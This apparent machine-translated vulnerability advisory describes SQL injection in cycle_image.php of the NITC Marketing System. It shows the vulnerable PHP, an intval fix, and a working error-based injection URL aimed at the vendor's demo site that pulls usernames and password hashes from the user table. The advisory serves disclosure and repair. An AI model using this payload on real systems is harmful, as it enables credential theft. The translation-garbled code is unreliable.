SQL injection vulnerability in NITC Marketing System

Source: Internet
Author: User

SQL injection vulnerability in NITC Marketing System

Injection appears in cycle_image.php

 

<? Phpdefine ("IN_LOCK", true); define ("INIT_NO_USERS", true); define ("INIT_NO_SMARTY", true); require (". /includes/init. php "); header (" Content-type: text/xml; charset = UTF-8 "); header (" Expires: Fri, 14 Mar 1980 20:53:00 GMT "); header ("Last-Modified :". gmdate ("D, d m y h: I: s "). "GMT"); header ("Pragma: no-cache"); $ s = explode ("^", trim ($ _ GET ['language']); // use the ^ separator to get the array $ secho "<? Xml version = \ "1.0 \" encoding = \ "UTF-8 \"?> <Bcaster> "; $ SQL =" select * from ". $ site-> table ("ad "). "where your age_id = ". $ s [0]. "and category = '". $ s [1]. "'and type = 0 and state = 0 order by sort_order desc"; // $ s [0] without single quotation marks, ignore gpc injection $ res = $ db-> getAllCached ($ SQL); foreach ($ res as $ row) {if (is_file ("upload/adfile /". $ row ['file']) {echo "<item item_url = \"". $ _ CFG ['weburl']. "/upload/adfile /". $ row ['file']. "\" link = \"". $ row ['url']. "\"/> ";}} echo "</Bcaster>";?>



Official Website test:

Http://demo.cnnitc.com/cycle_image.php? Language = 1% 20AND % 20 (SELECT % 201% 20 FROM (SELECT % 20 COUNT (*), CONCAT (floor (rand (0) * 2 ), (select % 20 concat (user_name, 0x23, password) % 20 from % 20nitc_user % 20 limit % 200,1) x % 20 FROM % 20INFORMATION_SCHEMA.tables % 20 GROUP % 20BY % 20x) a )#
 

 

Solution:

Language receives an array to traverse each value:

$ Language = intval ($ _ GET ['language']);

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.